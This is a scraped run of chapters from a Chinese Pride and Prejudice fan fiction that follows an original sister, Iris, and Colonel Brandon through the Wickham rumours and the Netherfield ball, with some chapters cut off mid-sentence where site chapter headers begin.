“老达西先生不仅资助威克姆先生接受高等教育，并且在遗嘱中表明一旦最好的牧师职位有所空缺，就由威克姆先生接任。” 以老达西先生的身家——半个德比郡的财富，一旦威克姆先生任职牧师，那不仅身份体面，更有稳定的高收入，又何苦成为一名籍籍无名的军官，拿着微薄的工资？ 简不敢置信：“是达西先生没有遵照遗嘱行事吗？” 伊丽莎白点了点头。 “在威克姆先生正好能接受圣职的时候，那个位置却给到了另一个人。” “会不会是他们受到了其他人的蒙骗？达西先生只是为人冷淡了些，看着不大像是会做出这种事的人。”简再三确定。 “何况他有半个德比郡可以继承，区区一个牧师的职位，又能影响他什么呢？”如果说简是不愿意轻易给他人定罪，那么玛丽则是觉得其中有些不对劲，“我相信伊丽莎白你把这事告诉我们之后，便不会再告诉其他人。当然，我们几个也会保守这个秘密。但我有些不明白，威克姆先生怎么会轻易地把这件事告诉给一个相识不过几面的年轻小姐呢？” “那位威廉姆斯先生不也直言他对威克姆先生的不喜欢吗？而且威克姆先生言之凿凿，说的每一句话都有理有据。”伊丽莎白拿了艾莉丝刚才提到的事情举例，又提到威克姆先生的解释，“他不肯当众揭发达西先生，又不愿达西先生败坏先人的名声，才会在私下里告诉我。” 伊丽莎白又说：“威克姆先生是这桩事里的受害者，他本来能像柯林斯先生那样有一个更加光明的前途。” 短短几次见面交流，威克姆先生迷人的风度和能言会道的本事便在众人心里留下来极好的印象，哪怕还有位威廉姆斯先生透露出与他不对付的态度，但到底也只能归咎到性格不合上，并没有明确的事情能证明威克姆先生人品的不端，反倒是他能不带犹疑地说出和达西先生的过去，很难不让人信服。 与之相比，态度一向目中无人的达西先生落了下风。 简相信威克姆先生不是坏人，可她同样不认为达西先生会是威克姆先生口中滥用强权的人。若是如此，那极为信赖达西先生的宾利先生又是否得知呢？ “我想不出有什么理由能让他不顾恩情，出言抹黑自己恩主的儿子。况且，牧师的工作明显要比军官来得稳妥许多，更别提威克姆先生从小就被培养如何做一位牧师。” “照这么看来，我们不得不承认其中必有一个人做了世人眼里的恶事。”玛丽说，她既不熟悉那位威克姆先生，又对达西先生的印象一般，因而只得就事论事。 “请别取笑我。我真是怎么也不敢承认达西先生会是那么心胸狭窄的人。”简摇着头，“不，依照威克姆先生的说话，这已经不再是心胸狭窄能够形容的了……” 眼见三个姐姐各有各的意见，艾莉丝愈发纠结于威廉姆斯先生的遮遮掩掩：“早知如此，昨晚我就该再问一问，威廉姆斯先生是怎么在自认为对威克姆先生深入了解的前提下观感不好的理由了。” 伊丽莎白说：“我们总不能奢望一个人能受到所有人的喜欢。” “宾利先生为人善良，他愿意和达西先生交往，说明达西先生不该是什么坏人。”简补充道。 既然提到宾利先生，那么更富有阅历和见解的布兰登上校自然也能成为有力的证明。 作为几个姐妹里和布兰登上校交流最多的人，艾莉丝却不能说出更多：“我只知道布兰登上校是通过达西先生的介绍，才和宾利先生结交的。如果连布兰登上校都没觉察出什么的话，或许我们也未必能在一时半会里搞清楚。” 事情越发扑朔迷离，几位小姐讨论不出个所以然来，只能暂且搁下。 恰逢有仆人寻着她们的踪迹过来，原是宾利先生他们登门拜访，班内特太太让她们赶紧回去。 几日不见，刚一碰面，宾利小姐和赫斯特夫人便笑着拉住简的手，言语热切地关心起她的身体。 “之前宾利回来说你已经痊愈了，我们还有些不放心，这 21.第二十一章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 察觉男士们到来的不止伊丽莎白一人。 和简说笑的宾利小姐侧过身：“查尔斯，你们聊完了？我们刚说到那天舞会上的乐队。” “听宾利小姐说你们特意请来了伦敦的乐队。” 阳光透过窗棂洒入，将简的金发照耀得更加璀璨，她妩媚的脸上是一抹淡淡的笑容。 “希望他们弹奏的乐曲不会让到场的人失望。”宾利先生的心脏不受控地跳动起来，借着宾利小姐开口的机会，他顺势坐到她们附近的单人沙发上，一时间把另外两位好友抛在了脑后。 所幸伊丽莎白她们所在的位置旁边还有空椅。在班内特太太对宾利先生热情的招呼的背景音下，达西先生和布兰登上校坐了下来。 “只要乐曲一响，舞会上的人肯定会全身心投入到舞蹈中去，”伊丽莎白说，“我想宾利先生你不需要担心大家会失望。” 她的话诙谐俏皮，达西先生的唇勾到一半，才惊觉自己的心神又失了分寸。 和欲盖弥彰的达西先生不同，布兰登上校自然而然地和艾莉丝打着招呼。他暗自庆幸，自己习惯了忍耐，所以即便每次瞥见少女含笑的眉眼时，他的心跳都会快上半分，但依旧能够让自己的神态举止不过于僵硬。 在家里的艾莉丝比在庄园里少了那么些拘谨，她浑然不觉布兰登上校心中的想法，一边热切地回应，一边推过仆人端来的茶点，投桃报李地邀请布兰登上校品尝。 “这是家里自己做的，”她说，“在用餐前垫垫肚子刚好。” 酥脆的饼干在唇齿间咬开，黄油的奶香自舌尖弥漫，味道并不比布兰登上校在庄园里吃到的差，最重要的是，他仿佛感觉到有一股甜蜜顺着艾莉丝的笑容融化在饼干的滋味里，于是他用实际行动表明了看法，一连尝了几块。 “抱歉，饼干的味道很美味，我一时没注意。”他不好意思地收回手。 难得见沉稳的上校有这样一面，艾莉丝笑说着没事，心中却觉得分外新奇，想要多看两眼，又怕布兰登上校更加难为情，最后秉着待客之道，还是按捺住了蠢蠢欲动的眼神，转而关注起宾利先生那边的聊天。 莉迪亚很关心舞会上会有哪些人，她期待地问着宾利先生：“宾利先生，你们会邀请民兵团的人来吗？” “他们自然在这次的受邀名单里。” “太好了，那威克姆先生和威廉姆斯先生一定也会来。” 莉迪亚和凯瑟琳小声地庆祝。哪个年轻小姐不想和长相出众的男子跳舞，让其他的人投来羡慕的眼神呢？ “这两位军官，上校你前几日在河对岸遇到过。”见布兰登上校抬眼看来，艾莉丝说，“不过你们走得太匆忙啦，我们都来不及给你们介绍最近新认识的朋友。” 饼干的滋味尚未消散，蜜一般的甜味已然消失在舌尖。 布兰登上校当然记得那两位男士，不谈和达西有纠葛的威克姆，另一位男士年富力强又英俊：“他们的性情想来都很可亲。” “布兰登上校，你这话说得一点也不错，”回话的是伊丽莎白，“虽然才认识不久，但和颜悦色的人总能容易讨得别人的欢欣，所以我们都很乐意和他们打交道。” 她瞥了眼达西先生，似乎从他沉默的神情里看出些许端倪：“达西先生，你对此有什么见解吗？” “我认为结交朋友是件谨慎的事。在无法确定一个人的品性之前，哪怕对方表现得再和颜悦色，我也决计不会全然的相信他。” “看来要想成为你认定的朋友，必须要经过考验才算合格了。” 达西先生回道：“如果你想结交的是一位品德高尚、为人真诚的朋友的话。” 他们聊天给人一种在无形之中较劲的感觉，原本互不相看，聊着聊着便四目相对，话语中的机锋化作火花四处飞溅。艾莉丝可不想掺和到里面，她转而看着好像一直都怀揣着心事的布兰登上校，他的眉总会习惯性地皱起，使那眉宇间的痕迹经年累月的凹陷下去。 “上校，那你有没有什么交友建议给我呢？”她开起玩笑，“你的阅历可比我深厚，就当是教我怎么避免被人骗啦。” 她一说，布兰登上校立马想到那名威克姆先生。 达西先生不愿告知他们他和威克姆先生的过去，不过他并非无的放矢的性格，布兰登上校认为威克姆先生必然是做了极恶劣的事，才会招致好友如此程度的憎恶。 “在这方面，我很赞同达西的观念。”布兰登上校认真道，“对于年轻小姐来说，学会如何辨认对方是否是一位真正的绅士，这是尤为重要的。” 无法排解的痛苦中涌起庆幸，布兰登上校又觉得艾莉丝那天和威廉姆斯先生走得近也算是好事一件。 他暗藏担忧之色看向艾莉丝。 少女的明眸中自有星辰流转，布兰登上校却仿佛回望进旧日里的那道灰败憔悴的身影。 感觉到布兰登上校的气息愈发沉重悲痛，艾莉丝熨帖地端过茶杯，希望茶水的温度能够教他的脸色好转些。 “我倒是想要学一学怎么辨认，不过在梅里顿，这样的机会可不多，”艾莉丝笑道，“比起生面孔，平时来往的都是附近的人。” 乡镇上，一点风吹草动都能马上从这头传到那头，的确没什么消息能藏着捏着到第二天。 “难道我们不算吗？” 艾莉丝的回答轻而有力：“上校你要是坏人，那岂不是一整个梅里顿的人都被你骗了去。” 热意透过瓷茶具传到布兰登上校的指尖，又顺着血管一路温暖胸口。看着艾莉丝明艳的笑靥，他以为自己的心脏仿佛是隆冬里的种子，迎着春日的风渐渐复苏。砰砰的跳动声，一下又一下敲击着冻土。 当天下过正式的邀请后，客人们只小坐了一会便提出离开。 相比三位男士的速度，宾利小姐和赫斯特夫人可要快得多，生怕下一秒她们好心眼的兄弟会接受班内特太太的招待，留下来享用她们不怎么瞧得上的午餐。 不过，其实宾利小姐早在达西先生不得不坐在伊丽莎白的周边时便有了想走的心思。一直想要近水楼台的她，自然时刻注意着达西先生的动静。在观察到达西先生对伊丽莎白的关注越来越多后，她的心情愈发焦灼。 回去的路上，宾利小姐按捺不住心里的不确定，她用一贯的带有嘲笑口吻的话语试探着达西先生。 “如何？你刚才和伊丽莎白小姐都聊了些什么？她美丽的眼眸是否让你更加入迷，以至现在都没回过神？” 达西先生抿了抿唇。 这份预料之外的悸动总在他作出决定后，搅乱他已经占据上风的理智。伊丽莎白小姐的聪颖机灵不仅在于她的眼眸，也体现在她的语言表达上。 只是，达西先生想到他们谈及的结交朋友的话题。威克姆这个名字一经浮现，他便厌恶地皱紧了眉。 “不过是随便聊了些。” 看达西先生的神情，宾利小姐以为自己得到了想要的回答，她把笑容掩在扇面下。 “你该坐到查尔斯旁边的。在聊过音乐后，我们就提到了乔治安娜的才艺，有关她的事肯定是这个哥哥更熟悉。”宾利小姐说，“和不谙才艺、举止缺少文雅的乡下小姐相比，她们能拿来说道的恐怕出不了村镇的范围。” “噢，别这么说，卡洛琳。你难道不觉得班内特家的小姐各有各的优点吗？” “如果查尔斯你指的是班内特小姐，那我已经非常清楚她的优点了。我得说，班内特小姐是她们家唯一值得我们结交的人。” “我和你的态度相反，”宾利先生乐呵呵道，“不止班内特小姐，她的妹妹们也都个个讨人喜欢。” 22.第二十二章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 银制烛台上的烛火如熠熠繁星，于闪烁中折射出内瑟菲尔德庄园的富丽堂皇。 专门从伦敦请来的乐队不负众望，弹奏出的乐曲悠扬，勾起萦绕在年轻男女之间的悸动暧昧。他们只一个对眼，便心领神会，或自然或扭捏地走进舞池，随着音乐翩翩起舞。 在一众深浅交叠的衣物颜色中，民兵团的红色制服最为吸睛，教人一进门就能立马看到。 即便民兵团驻扎已经不是梅里顿的新鲜事，但里面个别几位军官依然是得到人们颇多关注的宠儿。 艾莉丝尚未走近，就听到有年轻小姐沮丧的说话声传来。 “想不到威克姆先生居然没能来，真是太可惜了。” 显然，她的话引起了其他小姐的共鸣，她们纷纷附和，接连说了好几次“可惜”、“遗憾”之类的词。 “什么？”莉迪亚没太听清，“她们是在聊威克姆先生吗？我们也过去听听。不然等轮到和威克姆先生跳舞说不定都要下半场了。” 猝不及防的，艾莉丝就被激动的莉迪亚牵起手，连着另一边的凯瑟琳，三个人差点一块凑到威廉姆斯先生的跟前。 说是差点，那是由于莉迪亚在艾莉丝的提醒下，回想起安娜小姐的教导。 “艾莉丝，你千万别把我的事告诉安娜小姐。” 凯瑟琳连忙跟着点头：“不然安娜小姐说不定会让我们把淑女礼仪重头学起。” “我当然不会偷偷告诉安娜小姐，”艾莉丝说，“不过还是多注意一点比较好，万一到时候见面时不小心在她面前漏了陷，我们就都完蛋了。” 她说得煞有介事，莉迪亚和凯瑟琳禁不住颤了颤。 哪怕离开两年，安娜小姐的威慑力在班内特小姐们对心中仍旧不减。 整理好仪容，姐妹三个才走到威廉姆斯先生的面前。 “日安，凯瑟琳小姐，”威廉姆斯先生一一打招呼，“莉迪亚小姐，艾莉丝小姐。” 行过问安的礼，莉迪亚张望一圈：“怎么没见到威克姆先生？” “他说有点急事，要去趟伦敦。” 威廉姆斯简单地解释了威克姆先生缺席的理由，只不过他脸上却挂着一抹耐人寻味的笑容，仿佛对他会缺席这件事并不意外。 “幸亏舞会上没有逃兵这一说法，不然光凭太多年轻小姐的心会因为他的缺席而受伤，这罪名就够他吃一壶了。” “威廉姆斯，威克姆要是知道你背后这么夸奖他，你们的关系恐怕就不会一直这么僵了。”给其他人说明威克姆不来的事，丹尼先生就听到威廉姆斯先生的话，他很是欣慰，“我就说凭你们俩人的性格，不会真的处不好。” 瞥到威廉姆斯先生那因为僵硬而变得略显狰狞的表情，艾莉丝压住想要笑出来的反应。她现在可以百分百确定，威廉姆斯先生一点都没和威克姆先生交好的念头，他真的很不喜欢对方。 “有什么事这么着急，连舞会都来不及参加？”莉迪亚打算和威克姆先生跳舞的想法落了空。 “很明显，威克姆是为了避免给某位绅士带来不好的影响，所以才贴心地找了这么一个借口。”丹尼先生一副你们大概也都已经知道的神态，“否则，怎么会偏赶在舞会前一天有了急事。” “什么不好的影响？”摸不着头脑的莉迪亚纳闷起来。 凯瑟琳似有猜测，她对那天的情景还有印象。 艾莉丝说：“假如丹尼先生你愿意跟我们仔细说说的话，也许我们了解的会更清楚一些。” “这不是什么值得说道的事，”丹尼先生大约没想到三位小姐会是如此反应，“我只能说，威克姆与在场的一位绅士有很深的矛盾，他本可以毫无顾忌的站在这——以受害者的立场来说，但他是个好心的小伙子，不愿对方受到难堪。” 丹尼先生完全相信了威克姆先生的过去，因而语气中有替好友的打抱不平。 他真实的情绪令莉迪亚也感到愤懑：“我看威克姆先生根本不用顾及那么多。” “可能他就是顾及得太多，所以才要避免和那位先生共同出现在一个场所。”威廉姆斯先生语气凉凉。 丹尼先生笑道：“好啦，别再说扫兴的事了。舞会不止这一回，威克姆总能出席下一次。大好的夜晚，我们还是全身心投入到音乐里吧。” 他询问过莉迪亚的意愿，俩人便站到了舞队的后面。 探寻到威克姆先生没来的原因，艾莉丝不再多待，她得去告诉伊丽莎白——分开前，伊丽莎白就在找威克姆先生。 为了让客人更好的享受这一晚，内瑟菲尔德一楼的大多数屋子都被好好打扫过。深秋的夜里，壁炉里的火焰噼里啪啦作响，配合着热闹的气氛驱散原本霸占屋子的冷意。 正当艾莉丝小心绕过正在一对对交谈的男女时，有人叫住了她。 “艾莉丝，你是在找人吗？” 卢卡斯小姐打扮得如往常一般素雅，唯一的点缀便是盘发上的几颗珍珠。她没去跳舞，而是跟自己的兄弟待在旁边享用餐桌上的美食。如今碰到艾莉丝不停地在人群中张望，她忍不住开口。 “夏绿蒂，请问你有看见丽齐吗？”艾莉丝问。 “丽齐？她受柯林斯先生的邀请，到舞池里跳舞去了。”卢卡斯小姐好心地指出她们在舞队里的位置，“看，就在那。” 和一张张洋溢着快乐的笑脸相比，伊丽莎白的脸色可就说不上有多开心了，甚至艾莉丝能从她的眼神中看出一丝无奈和敷衍。 若是单看伊丽莎白的表情，旁人自然会认为她缺了些小姐该有的礼貌，但是在看到她对面的舞伴，柯林斯先生笨拙的舞步，和时不时踩到伊丽莎白脚的真实情况后，任谁也没办法再指责伊丽莎白。 “幸好这首曲子快结束了。”艾莉丝感慨，“不然等丽齐下场，她的脚估计都不能好好走路了。” 卢卡斯小姐只笑了笑，没跟着点评柯林斯先生的跳舞水平。 艾莉丝的思绪也在说完刚才那一句后飘到了前几天的晚上。 有关柯林斯先生的妻子人选一事，除了他本人以外，最满意的当属班内特太太，至于伊丽莎白愿意与否，都是其次。 可无论是家里的哪一个姐妹，都不会认为伊丽莎白嫁给柯林斯先生会过上如意的生活。 伊丽莎白聪明伶俐，在很多事情上有着自己的主见，包括对于爱情和婚姻的看法，她无法忍受和一个无法理解自己的人生活在一起，甚至还要反过来忍受对方 23.第二十三章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 卢卡斯小姐的兄弟先一步伸出了手，他腼腆地看着艾莉丝，只觉今夜的她格外美丽，一时间心中如有擂鼓，敲得他目眩神迷，直到和艾莉丝站到舞池里，他才如梦初醒。 注视着欣然同意的少女，像是画布里寥寥几笔带过的无足轻重的人，布兰登上校置于阴影之中，静默地看着少女沐浴在烛光下与他人共舞。 珍珠发链将艾莉丝的长发盘起，露出她的后颈，然而不等布兰登上校看清那一抹胜过新雪的白，随着节拍的变调，艾莉丝有如自由欢快的小鹿，迈着轻盈娴熟的舞步优雅转身。 米白色的修米兹长裙勾勒出艾莉丝纤秾合度的身姿，小幅度散开的裙摆仿佛柔柔水波，荡漾在她的足尖。 隔着憧憧人影，布兰登上校望见艾莉丝含着笑意的眉眼，那有如珍珠般黑曜的眼是脱离宇宙引力的星辰，直直地落进他毫不设防的心口。 自从对两位好友坦诚了自己的心意，那道固守的堤坝有如被凿开一个小口，苦苦压抑的感情化作汪洋，不停地拍打、撞击着裂口。 “布兰登，”舞会开始前夕，宾利先生叫住他，“无论你是否打算把你的情感说出来，但起码别让自己后悔。” 他以为他不会。 悔恨就像是驱之不散的阴影，布兰登上校与之为伴多年，他本该已经习惯。只是这一回，艾莉丝的笑颜与巴斯的来信轮番交织，克制便在情感猛烈的攻击下节节败退。 只是一支舞，他像是在说服，又像是在告诫。 略过那犹带依依不舍表情的男士，布兰登上校下意识地迈开腿，追逐起艾莉丝的身影。 然而，行走在人群里的艾莉丝好似化作了一尾游鱼，任他如何拨开水流，也无法触碰，只余手边一道道嘲笑的涟漪。 或许这就是命中注定，冥冥之中暗示他不该去向一位年轻貌美的小姐邀舞。 这一愣神，视线里再无艾莉丝的踪迹。 布兰登上校苦笑，也许他应该坚守自己原本的看法，以一位朋友、长辈的身份出现在艾莉丝身边，而非一个爱慕者。 他将舞会的热闹落在身后，朝转角处寂静的位置走去，以便平复自己沸腾的情感。 下一秒，满怀的馨香扑鼻而来。 布兰登上校反射性地搀扶住少女的双臂，以免她往后摔倒，随即他低下头，编织进棕发里的珍珠发链映入眼帘。 “嘶……”艾莉丝捂着鼻子，发出吃痛声，但知道是自己没看路撞到了人，她老老实实地认错道歉，“实在抱歉，不小心撞到了……” 她抬头，看清是谁后不由瞪大了眼睛：“布兰登上校？” “你还好吧，艾莉丝小姐？”布兰登上校担忧道，他看到她的鼻尖有些泛红。 “我没事，”艾莉丝愈发难为情，“倒是上校，你身上有被我撞疼哪里吗？” 她关切地打量着布兰登上校，这才发觉他今夜一身簇新的衣服，白色衬衫外是竖条纹灰白双色马甲，又外穿一件挺括的黑色外套，一派沉稳可靠的模样。 “不，我没有不舒服的地方。” 在艾莉丝的眼神下，布兰登上校有些手足无措。 空气中小苍兰混着琥珀的甜香不断地弥漫开来，就像汁水饱满的水果般甘美。他慌不迭地松开手，后退一步。 后知后觉的艾莉丝连忙跟着拉开距离，白嫩的脸颊上晕出浅红。她心中暗自懊恼自己的莽撞，又在布兰登上校的稳重体贴下羞于自己的失礼。 “上校你没事就好，我不该走得那么匆忙的。” “是发生了什么事吗？” 面对布兰登上校的好心，艾莉丝面露难色，她总不能实话告诉布兰登上校——她借口找伊丽莎白有事，帮着避开柯林斯先生的殷勤邀请。 不过她们俩都走得快，半道就分了开来。 “也没什么。”艾莉丝打着哈哈，转而问起布兰登上校这次怎么没和达西先生坐在旁边休息。 说是休息，但梅里顿的人都清楚他们两位男士不大和年轻小姐们跳舞。 “我想他或许有别的安排。”布兰登上校道。 今夜的舞会一开场，宾利就难捺心中的雀跃，达西虽然一声不吭，但熟悉他的人多少能看出他掩藏在冷静外表下的纠结。 情感和理智在大脑里拉扯，前者是面对小姐时不受控的心，后者是现实里诸多因素的衡量。 以达西在三个人的聊天里常扮演泼冷水的角色这一角度来说，他不会轻易开口去向伊丽莎白小姐邀舞，但布兰登上校深知：爱情里的克制往往在某些不经意的时刻化作令人抛却一切顾虑的力量。 这一点，在他看到达西反常地站在人群中环顾四周时得到了验证——他在找伊丽莎白小姐。 而看着站在跟前的艾莉丝，布兰登上校明白自己何尝不是和达西一样，自以为能够把守住内心，实则早已经缴械投降。 “达西先生总算愿意感受一下跳舞的乐趣了？还是说他只和宾利小姐跳？” “达西也不是只和一个人跳舞，只不过舞会上他熟悉的小姐不多，”布兰登上校道，“我走开的时候，宾利小姐在和梅里顿的其他绅士跳。” “这话说的，达西先生的性格都变成内向怕生了，”艾莉丝黑色的眼睛里隐隐带些控诉，“梅里顿的小姐可不会吃人。” “跟朋友相处的时候，达西会更健谈一点。”布兰登上校说，“被他认可的人，总是能得到优待。” “如果每个认识的人都能得到朋友的待遇，那才显得廉价呢。” 说罢，艾莉丝抿了抿唇，她问：“不被他认可的人，是不是就会得到凛冬般的对待？” 布兰登上校看向她。 茶色的眼眸好似能看到艾莉丝的内心深处。 深知布兰登上校在战场上锻炼出来的敏锐，又无由来地认定他不会诓骗她，艾莉丝终究是开门见山地问出了她想知道的事情。 “……大概是出于某种考量，达西并没有告诉我们他和威克姆先生的纠葛。” “上校你和达西先生认识了这么久，难道 24.第二十四章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 在林间散步时，布兰登上校曾表示跳舞是年轻人的娱乐，而他的岁数比起纵情歌舞，更适合在旁边围观。 一直以来，布兰登上校的确都用行动贯彻着自己的观点，然而他料想不到，丘比特的金箭竟会刺中他，令他再一次对一位年轻小姐产生爱慕之情。 他注视着艾莉丝。 仅剩的那点犹豫便丢盔弃甲，爱慕在黑曜石般的眼眸下摇旗呐喊。 只是一支舞，而已。 “不知道我是否有这个荣幸，”布兰登上校弯下腰，“邀请你做我下一支曲子的舞伴。” “艾莉丝小姐。” 面对彬彬有礼的布兰登上校，艾莉丝原想着的被婉拒后的俏皮话没了用武之地。 看着跟前高大挺拔的男人，耳边依稀还回响着由低沉磁性的嗓音在声带微颤中吐露出的音节，仿佛经由他的唇舌，Iris这个名字化作一支委婉抒情的小夜曲，缓缓流泻，于弹拨中无声无息地勾动被唤之人的心弦。 再次感慨于布兰登上校嗓音的独特，艾莉丝笑着把手搭在他的掌心。 “好不容易见上校你愿意把能够享受跳舞这一乐趣的人群范围放宽，我哪有不答应的道理。” “希望我的舞步不至于太过生疏。” “上校你总是太过谦虚，我猜你跳的一点也不比其他人差。” “你总能看到他人好的一面，艾莉丝小姐。” 那一头的伊丽莎白和达西先生背对着离开跳舞的队伍，看他们的脸色似是不欢而散，这一头的艾莉丝和布兰登上校肩并着肩走进舞池，在烛光的辉映下面面相对。 年轻小姐们的裙摆在伴奏中飘起又飘落，她们的姿容举止基本符合世俗对女子的看法和要求，即便是和旁边的人交换舞伴，也能在间歇中客套又不失热情地交流一番。 礼貌地回答过几句陌生小姐抛出的对话，布兰登上校便在下一个节拍中迎来他真正邀请的人。 他近距离地端详着艾莉丝。 借着无数次交谈的机会，布兰登上校自以为已经把她的容貌一一刻在了心里，但是当他不再逃避的以爱慕者的身份再次注视艾莉丝的时候，这娇俏柔美的脸蛋仿佛朦胧在淡淡的光晕里，一颦一笑都牵动着他的心神。 此时此刻，艾莉丝正与他对视，浓淡相宜的眉毛下，她的睫羽浓密卷翘，为那双杏仁般的双眼描摹出女性的妩媚。 这样的形容并不是指她对他有超出朋友以外的发生在男女之间的情感——她的态度是如此的坦然，教布兰登上校不会有分毫的错认，他只是忽然真正的意识到，艾莉丝已然到了少女长成的年纪，如若不是上头几位姐姐的婚事尚未有所着落，恐怕父母已在舞会上为她张罗起年轻有为的绅士。 关于对艾莉丝冠上某位男士姓氏的未来的想象，再没有什么比眼前的发现更让布兰登上校真切的感受到这一份可能的真实性。 酸涩泛涌，几乎淹没布兰登上校的口鼻。他默默忍受，暗自咽下，不让自己的面上显露出半点痕迹。 和那些动辄就被葡萄哽到喉咙的男士相比，布兰登上校早已习惯现实的蹂躏，唯有眉宇间那一竖如被凿刀刻印下的纹路无声记录下他日复一日的痛苦。 而且，他也不愿自己单向的、不打算吐露的、不会得到回应的感情搅乱了艾莉丝今夜的兴致。 一直以来的相处令他们二人相互了解，即便不算足够深入，也不会使得他们的话题还简单停留在天气、舞会的装饰、主人家的好客……这一类单调枯燥的内容。 起码，在艾莉丝谈到她们姐妹几个想要重新收拾起荒废已久的小花园时，尽管这对一个比起花园，更关注打猎的绅士来说，属实有些为难，尤其他还是一名单身汉，不会有妻子这类角色在旁提上那么一嘴。 不过好在布兰登上校很清楚自己庄园里的情况，他不带半分敷衍的，尽可能合理地给出了自己的建议。 “班内特先生雇佣的人里总有一些会简单木工活的，可以让他们帮忙做一个秋千出来，”布兰登上校说，“如果直接去找木匠，价格会更高一点。至于怎么把简易的秋千变得美观，我想对你而言是很轻松的一件事。” 他在艾莉丝的画作前驻足过。 “那肯定得放几个软垫……在绣花这一方面，我是怎么也比不上简和莉迪亚的，她们绣的花样复杂不说，针脚也很密实。” 艾莉丝小幅度地扬起下巴，一副与有荣焉的姿态。 布兰登上校适时地低下头。 珍珠链带闪烁着莹润的光泽，将艾莉丝那头海藻般卷曲盘起的长发点缀，又辉映着她那双盛满笑的双眼，仿佛里面倒映着世间一切美好的事物。 “每个人擅长的领域不同，”他说，“就像你能用画笔画出所见到的美丽景色。” 欢快的音乐促使舞伴们朝彼此靠近。 像是被布兰登上校的话所取悦，艾莉丝的舞步越发轻盈，如同一只玲珑的雀鸟，欢欣地落在栖息地指头，并不忘发出清脆悦耳的啼鸣。 “上校你夸我总能看见好的一面，但要我说，上校你也不例外，而且我可没见过哪位绅士对小姐的态度能有你这般程度的宽容。” “这是男士应有的品德，艾莉丝小姐。” 这倒是一句谦逊不出错的回答。 回想起先前艾莉丝对所谓荣誉的观点，布兰登上校犹豫再三，不加掩饰地说出自己的真实想法：“我以为世俗对女子的要求已经足够苛刻，那么少了我这一份也不会如何。” 他茶褐色的眼里在极短的时间里闪过太多复杂的辩不明的内容，但这都不会影响他的诚恳。 “能被上校你喜欢的小姐一定很好，也很幸运。” 艾莉丝不知自己的话在布兰登上校心里激起多大的波澜。 有那么一瞬间，莫大的喜悦和我一起前所未有的勇气席卷而来，他蜷紧手指，似乎这样便能从交叠的那一抹细腻柔软中得到更多的鼓励。 可是，素缎制成的手套隔绝了他们掌心的直接接触，布料的温凉恰如冷水，浇灭布兰登上校心脏的鼓噪，交织的激动的情绪则是过境的台风，连个尾巴都不没留下。 他望着无知无觉的少女，道：“恐怕只有艾莉丝小姐你会这么认为。” “既然梅里顿有我一个，”艾莉丝脸颊上的酒窝微陷，“必然还有其他地方的小姐会赞同我的看法。” 事实上，能从喜欢的小姐口中听到如此赞扬，他的人生已经不会有比这一刻更幸运的时刻了。 一曲跳完，不等场外跃跃欲试的绅士上前邀请心仪的小姐，就听到一声“Mr.Daci”盖过室内的喧闹，所有人不约而同的把目光转到声音的制造者身上。 柯林斯先生站在脸上写满诧异的达西先生跟前，不顾伊丽莎白的劝阻与之攀谈。 肉眼可见的，达西先生的表情转为不耐。以他的身家，从来不缺人献殷勤，而柯林斯先生大抵是其中最无礼的一位——他没有经过他们彼此都认识的人的介绍，就擅自和达西先生搭话。 瞥过想原地消失的伊丽莎白，达西先生三言两语应付过他姑妈凯瑟琳夫人选出来的神父后，便不再多言。 而柯林斯先生自认得到了他应有的礼遇，颇为自得的和伊丽莎白夸赞起达西先生的为人，以及显摆着自己未来的可期。 他的声音不大，但静默下来的屋子足以教人听清。 众人看热闹的视线长了刺一般，扎在伊丽莎白的身上。她这会已被柯林斯先生的表现弄得无比尴尬，连达西先生先一步离开都没察觉，便顶着宾利小姐讥讽的笑容快步走出这个逐渐使她觉得憋闷的房间。 不见了当事人的身影，安静的气氛一扫而空，好像刚才什么都没发生过。< 25.第二十五章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 结合只言片语和细致入微的观察，好打听的人已大概摸清布兰登上校的身家——他既有着军衔应得的薪酬，又继承了父辈的两座庄园，并且在北方投资了颇有前景的工厂，一年的收入绝对不比宾利先生少。 纵然他不似年轻小伙那般健壮俊朗，但急于将自己推销出去的没什么嫁妆的年轻小姐自然不会介意。 伊丽莎白庆幸于自己的姐妹能够免于她当下所受的酷刑，不必毫无办法的任由好事的夫人太太拿单身男女的互动打趣，何况那位瘦脸的夫人话里有话，一副艾莉丝是奔着布兰登上校财产去的模样。 她忍不住要出言反驳这无稽的揣测。 “假如单身的男女只是跳了一支舞，就能算得上是有了极大的进展，”伊丽莎白冷声道，“那么按照夫人你的看法，凡是单身的人在去跳舞前都要再三掂量舞伴是否合心意了。” “伊丽莎白小姐，你该为你姐妹的好事感到开心才对呐。有钱的单身汉可不是随时随地都能碰到的，何况他们还不介意女方嫁妆的多少。” “噢，是啊，布朗夫人，还是你看得透彻，这样的运气可不是谁都能碰上的……”班内特太太总算想起瘦脸夫人的身份，“我记得布朗小姐的年纪和简差不多？所以你也得让自己的女儿抓紧机会，别错过现场剩下的单身汉。” 某种程度上，班内特太太听不懂话中话的回应，倒是更让人生气。布朗夫人咬牙谢过她的好意，却还是忍不住暗讽。 “适龄的小姐想找一位合适的未婚夫，总是需要经历些波折，倒是艾莉丝小姐这么年轻，就能像班内特小姐一样遇到心仪的对象，真是少见。” “我也想不到夫人您慧眼如炬，竟然可以先我们一步预言艾莉丝未来的婚姻情况，”伊丽莎白说，“和您相比，我们这些做姐姐的真是太忏愧了，因为我们半点都没看出艾莉丝的情况——昨晚她还兴奋地表示要在舞会上多跳几支舞。” 预言，这可不是什么好词。 布朗太太表情僵硬，她终于不再抓着艾莉丝和布兰登上校来贬低班内特家的礼教问题，只是她不爽自己在口舌之争上落了下风，强撑着嘴硬道：“伊丽莎白小姐也该关心关心自己的事啦，你可比班内特小姐小不了几岁。” 班内特太太不仅不像往日表现得那般着急，甚至还一副稳操胜券的姿态：“丽齐可不需要操心这么多，她的事自有我们做父母的张罗。也许这要不了多久。” 如隐形人一般坐在旁边许久的达西先生神色微动，他端详着伊丽莎白，却只看出她心情不振。 任谁有不分场合大肆炫耀的亲人，都会感到羞愧。 作为朋友，目睹了今晚的一切之后，他依旧坚持自己的想法，他不得不做一个不识时务的人，劝告宾利谨慎做出决定。 至于布兰登，纵使他对那位艾莉丝小姐的喜爱已经到了无以复加的程度，他会做的也仅仅是死死压抑着这份爱慕，而不是像毛头小子似的冲动地跑到艾莉丝小姐跟前，向她表明自己的心意。 